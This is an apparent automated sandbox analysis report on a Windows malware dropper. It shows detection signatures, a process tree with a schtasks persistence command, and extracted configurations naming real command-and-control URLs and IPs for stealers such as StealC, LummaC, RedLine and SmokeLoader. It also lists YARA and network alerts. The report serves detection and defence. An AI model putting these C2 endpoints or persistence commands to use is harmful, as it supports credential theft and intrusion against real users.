Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
Analysis ID:	1514924
MD5:	96cb7df578398d5d46dd4daeffbdc41f
SHA1:	7b7ecf7d006c2e2cd2b237dde3402f6b78e6c54b
SHA256:	e301b79d4279d52c49c886fcd0ab8acc3941c5cf28c7dd0eb57e8af81fe476fb
Tags:	exe
Infos:

Detection

Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Clipboard Hijacker

Yara detected Cryptbot

Yara detected Go Injector

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PrivateLoader

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates multiple autostart registry keys

Drops PE files to the document folder of the user

Drops large PE files

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Sample uses string decryption to hide its real strings

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Launches processes in debugging mode, may be used to hinder debugging

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe (PID: 1876 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe" MD5: 96CB7DF578398D5D46DD4DAEFFBDC41F)

RegAsm.exe (PID: 2016 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6388 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Yt_9y5LuIpBZXKd9EiYluKkG.exe (PID: 1280 cmdline: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe MD5: 92C66C140509B75BAE23F055D427AFB4)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5752 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

kFXFCWzZNovbPAcE4V3M4DAO.exe (PID: 5828 cmdline: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe MD5: 8FB3610C4BA81A5A93666562E712740A)

5Hyf8PuolQS_j4ZkhvHWpkWr.exe (PID: 4924 cmdline: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe MD5: 2F59FBD6623872FBDC2F63D18023BFDA)

explorer.exe (PID: 3504 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

aFBKY19rLrQU72E14du4WCPo.exe (PID: 6948 cmdline: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe MD5: 1FEDF314D7C5ED06FF6833C9C8FE5441)

WerFault.exe (PID: 2548 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6948 -s 876 MD5: C31336C1EFC2CCB44B4326EA793040F2)

g2v2mVtOHdxh9ZgrtYde5yf0.exe (PID: 3956 cmdline: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe MD5: D687AF3B103399AA245807BB719878B7)

conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 1812 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 4700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

kJHbagG0C4H5BEyYJQeInLfF.exe (PID: 5888 cmdline: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe MD5: 098E15E88E5332253356C78BADF8D479)

wg6F73wLMGz6xXFA14w_olCU.exe (PID: 2796 cmdline: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe MD5: E8E6CD9EC48FAFCCC174F7BF07D045E2)

conhost.exe (PID: 1876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6336 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 944 MD5: C31336C1EFC2CCB44B4326EA793040F2)

1IvCzYfqoD3SHvKt45m1rbHu.exe (PID: 2036 cmdline: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe MD5: A463E516041F4BC84F03BC8FE2B643DD)

conhost.exe (PID: 2240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 1708 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 6568 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 548 MD5: C31336C1EFC2CCB44B4326EA793040F2)

XO9lsdL5g6aUibu31TDcoBrI.exe (PID: 2228 cmdline: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

XO9lsdL5g6aUibu31TDcoBrI.exe (PID: 6828 cmdline: "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe" MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

XO9lsdL5g6aUibu31TDcoBrI.exe (PID: 5772 cmdline: "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe" MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

XO9lsdL5g6aUibu31TDcoBrI.exe (PID: 2624 cmdline: "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe" MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

schtasks.exe (PID: 6388 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

VkcBn13x2kmdo9AMRXP8qT_4.exe (PID: 6104 cmdline: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe MD5: 1905889C50091A12A2B3A94E525A3566)

VkcBn13x2kmdo9AMRXP8qT_4.tmp (PID: 5984 cmdline: "C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp" /SL5="$30436,2863668,56832,C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe" MD5: 33358B48CFE67C292BF76ABDDDB63947)

hd4YBtMwCrxG4M3aLLza89vv.exe (PID: 6500 cmdline: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe MD5: EA754070163F8ECA914B259096D834F0)

conhost.exe (PID: 348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6524 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

iXbjjIcri3rG3XH6GK7dHSLO.exe (PID: 916 cmdline: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe MD5: CB3952F1852179348F8D2DB91760D03B)

_U2YDEzm5f5t9soM_Qc1Hc4U.exe (PID: 6060 cmdline: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe MD5: D60D266E8FBDBD7794653ECF2ABA26ED)

conhost.exe (PID: 3884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 316 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 6876 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 6948 -ip 6948 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6112 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2796 -ip 2796 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2840 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 7224 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

jewkkwnf.exe (PID: 7408 cmdline: C:\ProgramData\jewkkwnf\jewkkwnf.exe MD5: ABDBCC23BD8F767E671BAC6D2FF60335)

svchost.exe (PID: 7520 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
PrivateLoader	According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://any.run/cybersecurity-blog/privateloader-analyzing-the-encryption-and-decryption-of-a-modern-loader/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem	https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["opponnentduei.shop", "carrtychaintnyw.shop", "puredoffustow.shop", "achievenmtynwjq.shop", "chickerkuso.shop", "metallygaricwo.shop", "quotamkdsdqo.shop", "milldymarskwom.shop", "sentistivowmi.shop"], "Build id": "a8kafm--@cloudcosmic"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "d80be45a1eb6454ca916f92c36ebf67d"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://nwgrus.ru/tmp/index.php", "http://tech-servers.in.net/tmp/index.php", "http://unicea.ws/tmp/index.php"]}

Threatname: Amadey

{"C2 url": "45.202.35.101/pLQvfD4d/index.php", "Version": "4.42", "Install Folder": "9d94d7e7d6", "Install File": "Hkbsse.exe"}

Threatname: Cryptbot

{"C2 list": ["/v1/upload.phptventyvf20pt.top", "tventyvf20pt.top", "@tventyvf20pt.top", "analforeverlovyu.top", "entyvf20pt.top"]}

Threatname: RedLine

{"C2 url": "193.233.255.84:4284", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000002.2359247420.0000000003345000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.2392167583.0000000002270000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.1899246450.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.2601921421.000000000283E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x124cc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000B.00000002.2116924327.0000000003F55000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000012.00000000.1791538975.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
00000009.00000002.2601604235.00000000025F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001B.00000002.2207772758.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.2923275259.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.2952837551.0000000001409000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
0000000C.00000002.2391461087.00000000005CA000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe PID: 1876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 6388	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
Process Memory Space: Yt_9y5LuIpBZXKd9EiYluKkG.exe PID: 1280	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Yt_9y5LuIpBZXKd9EiYluKkG.exe PID: 1280	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Yt_9y5LuIpBZXKd9EiYluKkG.exe PID: 1280	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: kFXFCWzZNovbPAcE4V3M4DAO.exe PID: 5828	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: kFXFCWzZNovbPAcE4V3M4DAO.exe PID: 5828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: kFXFCWzZNovbPAcE4V3M4DAO.exe PID: 5828	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: wg6F73wLMGz6xXFA14w_olCU.exe PID: 2796	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: XO9lsdL5g6aUibu31TDcoBrI.exe PID: 2228	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x431e9:$s1: file:/// 0x43145:$s2: {11111-22222-10009-11112} 0x43179:$s3: {11111-22222-50001-00000} 0x40341:$s4: get_Module 0x3ab03:$s5: Reverse 0x3b853:$s6: BlockCopy 0x3aacc:$s7: ReadByte 0x431fb:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.5ca3f2.1.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44fe9:$s1: file:/// 0x44f45:$s2: {11111-22222-10009-11112} 0x44f79:$s3: {11111-22222-50001-00000} 0x42141:$s4: get_Module 0x3c903:$s5: Reverse 0x3d653:$s6: BlockCopy 0x3c8cc:$s7: ReadByte 0x44ffb:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.5ca3f2.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.wg6F73wLMGz6xXFA14w_olCU.exe.3345570.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
33.2.RegAsm.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
33.2.RegAsm.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
33.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44fe9:$s1: file:/// 0x44f45:$s2: {11111-22222-10009-11112} 0x44f79:$s3: {11111-22222-50001-00000} 0x42141:$s4: get_Module 0x3c903:$s5: Reverse 0x3d653:$s6: BlockCopy 0x3c8cc:$s7: ReadByte 0x44ffb:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.2270000.2.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.Yt_9y5LuIpBZXKd9EiYluKkG.exe.34c5570.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.Yt_9y5LuIpBZXKd9EiYluKkG.exe.34c5570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.2270000.2.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.wg6F73wLMGz6xXFA14w_olCU.exe.3345570.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Pictures\DreamifyCorp\ClientSecureUpdater.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe, ProcessId: 5888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dell

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe, ProcessId: 2624, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 316, ProcessName: svchost.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:40.989196+0200	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.9	54235	1.1.1.1	53	UDP

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-21T13:34:43.702789+0200	2028765	3	Unknown Traffic	192.168.2.9	49761	116.203.165.127	443	TCP
2024-09-21T13:34:45.330220+0200	2028765	3	Unknown Traffic	192.168.2.9	49762	116.203.165.127	443	TCP
2024-09-21T13:34:46.946829+0200	2028765	3	Unknown Traffic	192.168.2.9	49763	116.203.165.127	443	TCP
2024-09-21T13:34:48.897654+0200	2028765	3	Unknown Traffic	192.168.2.9	49765	116.203.165.127	443	TCP
2024-09-21T13:34:51.164557+0200	2028765	3	Unknown Traffic	192.168.2.9	49766	116.203.165.127	443	TCP
2024-09-21T13:34:55.720448+0200	2028765	3	Unknown Traffic	192.168.2.9	49768	116.203.165.127	443	TCP
2024-09-21T13:34:56.709803+0200	2028765	3	Unknown Traffic	192.168.2.9	49769	116.203.165.127	443	TCP
2024-09-21T13:35:00.859949+0200	2028765	3	Unknown Traffic	192.168.2.9	49772	116.203.165.127	443	TCP
2024-09-21T13:35:01.796654+0200	2028765	3	Unknown Traffic	192.168.2.9	49773	116.203.165.127	443	TCP
2024-09-21T13:35:04.581380+0200	2028765	3	Unknown Traffic	192.168.2.9	49774	116.203.165.127	443	TCP
2024-09-21T13:35:06.049583+0200	2028765	3	Unknown Traffic	192.168.2.9	49775	116.203.165.127	443	TCP
2024-09-21T13:35:08.195936+0200	2028765	3	Unknown Traffic	192.168.2.9	49777	116.203.165.127	443	TCP
2024-09-21T13:35:10.597024+0200	2028765	3	Unknown Traffic	192.168.2.9	49778	116.203.165.127	443	TCP
2024-09-21T13:35:12.256533+0200	2028765	3	Unknown Traffic	192.168.2.9	49779	116.203.165.127	443	TCP
2024-09-21T13:35:13.919022+0200	2028765	3	Unknown Traffic	192.168.2.9	49780	116.203.165.127	443	TCP
2024-09-21T13:35:16.606956+0200	2028765	3	Unknown Traffic	192.168.2.9	49781	116.203.165.127	443	TCP
2024-09-21T13:35:20.642900+0200	2028765	3	Unknown Traffic	192.168.2.9	49782	116.203.165.127	443	TCP
